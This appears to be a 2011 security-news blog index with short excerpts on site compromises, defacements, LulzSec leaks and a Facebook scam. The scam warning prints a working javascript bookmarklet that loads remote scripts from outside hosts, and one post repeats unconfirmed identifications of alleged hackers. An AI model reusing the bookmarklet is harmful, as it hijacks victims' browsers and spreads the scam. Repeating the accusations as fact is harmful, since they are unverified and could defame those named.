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Fake antivirus campaign on India’s DNA e-newspaper website !

Fake antivirus campaign on India's DNA e-newspaper website !

May 16, 2011
Fake antivirus campaign on India's DNA e-newspaper website ! DNA (Daily News and Analysis) is an Indian daily English language newspaper. According to Wikipedia, DNA ranks 8th among the top ten English dailies in India. Recently, the Zscaler solution was blocking access to this site, as it contained malicious content. Here is the homepage of this website: The 'Today's E-newspaper' link (circled above) is an online version of the printed periodical. We discovered that one of the pages from this e-newspaper site was infected with malicious script. Here is the screenshot of that page: The malicious script tag had been inserted in plain text as can be seen in this screenshot of page source: The malicious script tag directs the victim's browser to 'hxxp://vcvsta.com/ur.php'. This page then redirects the user to another malicious site ('hxxp://www4.to-gysave.byinter.net,), which will again redirect victim to random sites hosting fake antivirus campaigns. Here is the screenshot disp...
QuickRecon v0.3 version released !

QuickRecon v0.3 version released !

May 16, 2011
QuickRecon v0.3 version released ! QuickRecon is a simple information gathering tool that allows you to: find subdomain names, perform zone transfer, gather emails and find human relationships using microformats. It is a simple information gathering utility based on Qt4 toolkit. Download QuickRecon v0.3 here
New Facebook Scam : WTF I can’t believe you’re in this video !

New Facebook Scam : WTF I can't believe you're in this video !

May 16, 2011
New Facebook Scam : WTF I can't believe you're in this video ! If you happen to get a new wall post from your friend saying " WTF I can't believe you're in this vid " or " ROFL i cant believe youre tagged in this video " Its a new scam spreading on Facebook. Don't open or click on this link else it will be posted to all your friends wall, esp. copy any URL [java-script code] and paste in your browser navigation/location bar to help spread the message to all your friends. javascript:(function()%7Bfunction%20s(src)%7Bvar%20script%20%3D%20document.createElement(%22script%22)%3Bscript.src%20%3D%20src%3Bdocument.body.appendChild(script)%3B%7Dvar%20rand%20%3D%20Math.floor(Math.random()*(100))%3Bs(%22http%3A%2F%2Fvideosurge.info%2Fverify.js%22)%3B%20if(rand%20%3C%3D%2025)%20s(%22http%3A%2F%2Fvideosurge.info%2Fconfig.js%22)%3Belse%20s(%22http%3A%2F%2Fbanfish.info%2Fconfig.js%22)%3B%7D)()%3B Most importantly for the user who fall into such scams by clicking the links in impulse. Re...
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Ronaldinho website hacked by Osama bin Laden supporter !

Ronaldinho website hacked by Osama bin Laden supporter !

May 16, 2011
Ronaldinho website hacked by Osama bin Laden supporter ! Ronaldinho's website has been hacked by someone appearing to support Osama bin Laden. GloboEsporte.com reports the hacker posted a photo of bin Laden and statements supporting Islam, as well as comments in Arabic attacking Ronaldinho's "hatred" of Islam. The site was hacked for a few hours on Saturday, according to the GloboEsporte.com website and other local media. Ronaldinho could not be contacted for comment. He signed with Flamengo in the beginning of the year, returning to Brazilian football after 10 years in Europe. He helped Flamengo win the Rio de Janeiro state championship, but fans had been jeering him recently because of poor performances that culminated with the team's elimination from the Brazilian Cup on Wednesday.
ISI (Pakistan) hack email account of Indian Army Major !

ISI (Pakistan) hack email account of Indian Army Major !

May 16, 2011
ISI (Pakistan)  hack email account of Indian Army Major ! A serving Inter-Services Intelligence (ISI) officer Major Sameer Ali hacked an Indian Army major's e-mail account in 2010 and extracted many sensitive documents, intelligence sources said. Ali has been named by India in the list of 50 'most wanted' terrorists sheltered by Pakistan for involvement in the Mumbai attacks conspiracy, The news of the hacking was given to Indian probe agencies by the FBI, which was then interrogating Mumbai attack accused David Coleman Headley. The US agency told the CBI Ali had been accessing an Indian Army officer's rediffmail account from the ISI headquarters. The hacked account was traced to Major Shantanu De of 21 Bihar Regiment, who was at that time posted in the Andamans. De's computer was seized and scrutinised jointly by the Intelligence Bureau, National Investigation Agency and the Military Intelligence. What was baffling was that his computer and e-mail had more t...
Geek.com Hacked, Infects Visitors with Malware !

Geek.com Hacked, Infects Visitors with Malware !

May 16, 2011
Geek.com Hacked, Infects Visitors with Malware ! Security researchers from cloud security provider Zscaler warn that technology website geek.com was compromised and many of its pages are executing drive-by download attacks against visitors. Geek.com is one of the oldest technology news websites around, dating back to 1996, the dawn of the commercial World Wide Web. Attackers have managed to inject rogue IFrames into different portions of the site, both within articles and the site's main pages like home, about us, etc. According to Umesh Wanve, a senior security research engineer at Zscaler, there are multiple infections and the iframes take visitors to different malicious websites. One example is the rogue code injected into a May 13 article about Call of Duty: Modern Warfare 3 details being leaked, which redirects visitors to an exploit kit. These kits perform various checks to determine what versions of certain program users have installed on their computers and th...
Appin Hacked - Ethical Hacking Training institute hacked again

Appin Hacked - Ethical Hacking Training institute hacked again

May 16, 2011
Once again Appin tech. hacked,this time TIC GROUP hack their one more site, Have a look : Hacked Domain: https://appinonline.com Mirror :  https://mirror.sec-t.net/defacements/?id=26044
LulzSec Hack & Leak pointless ATM information !

LulzSec Hack & Leak pointless ATM information !

May 16, 2011
LulzSec Hack & Leak pointless ATM information ! LulzSec Hack & Leak pointless ATM information on their official Twitter account. They are LulzSec, who Hack Fox.com cracked the Fox.com login database, including emails and passwords. Now they also Claim to have 178 logins from an FBI-related website. Leak of ATM info is at  https://pastebin.com/raw.php?i=myPTr0aE
Indian server HaCkeD By The 077 ( Hamdi HaCker )

Indian server HaCkeD By The 077 ( Hamdi HaCker )

May 16, 2011
Indian server HaCkeD By The 077 ( Hamdi HaCker ) Hacked Site list and Mirror : Link : https://zone-h.com/archive/ip=216.67.245.98
53 Websites defaced by Andre Corleone (Indonesian hacker)

53 Websites defaced by Andre Corleone (Indonesian hacker)

May 16, 2011
53 Websites defaced by Andre Corleone (Indonesian hacker) Hacked Sites List : https://pastebin.com/dsqCUbaX
Rumor or True ? FBI & Fox.com hackers exposed : LulzSec Participants Identified !

Rumor or True ? FBI & Fox.com hackers exposed : LulzSec Participants Identified !

May 15, 2011
Rumor or True ? FBI &  Fox.com hackers exposed : LulzSec Participants Identified ! Okay Now we have  LulzSec Participants, Just now Exposed by some Investigators at https://pastebin.com/EKmkvtfj . LulzSec are the guys who Hack Fox.com cracked the Fox.com login database, including emails and passwords . Now they Claim to have 178 logins from an FBI-related website. Update :  We have just talk to  OpNoPro  and He claim that, He is not the part of any HACKING ACTIVITY . Neither he is part of   LulzSec . Nothing is confirmed, But still there are lots of important things, that we have to consider before blaming anyone. These two identified guys can be Innocent. We are looking forward to Investigation teams for validating the news and Facts. Stay Tuned ! OpNoPro , heyguise  have been identified according to Source : OpNoPro Info AnonOps IRC Nic: OpNoPro AKA Lulz4All Likely the primary instigator of LulzSec. Pict...
Exclusive Report : Is Department of Defense (DoD), Pentagon, NASA, NSA is Secure ?

Exclusive Report : Is Department of Defense (DoD), Pentagon, NASA, NSA is Secure ?

May 15, 2011
Exclusive Report : Is Department of Defense (DoD), Pentagon, NASA, NSA is Secure ? Over the past couple of weeks there has been a series of discussions around why the U.S defense and Intelligence agencies are moving so quickly to adopt cloud computing. Are there any Security Holes in their Security ? Or has someone already hacked them and their documents ?. In the last week we have noticed lots of hackers activity. If you have missed something then have a look to  Super Saturday : The Hacker News Featured Articles  ! Below you are going to read about Security Holes in the U.S defense and Intelligence agencies! A Hacker named " sl1nk " claims that he has: SSH access to a Network of 140 machine's layer 1 to 3 in the Pentagon Access to  APACS (automated personel air clearance system)  Thousand's of documents ranging from seizure of a vehicle up to private encryption key request forms. Database of all usernames/passwords of Webmail of Nasa. Access to A...
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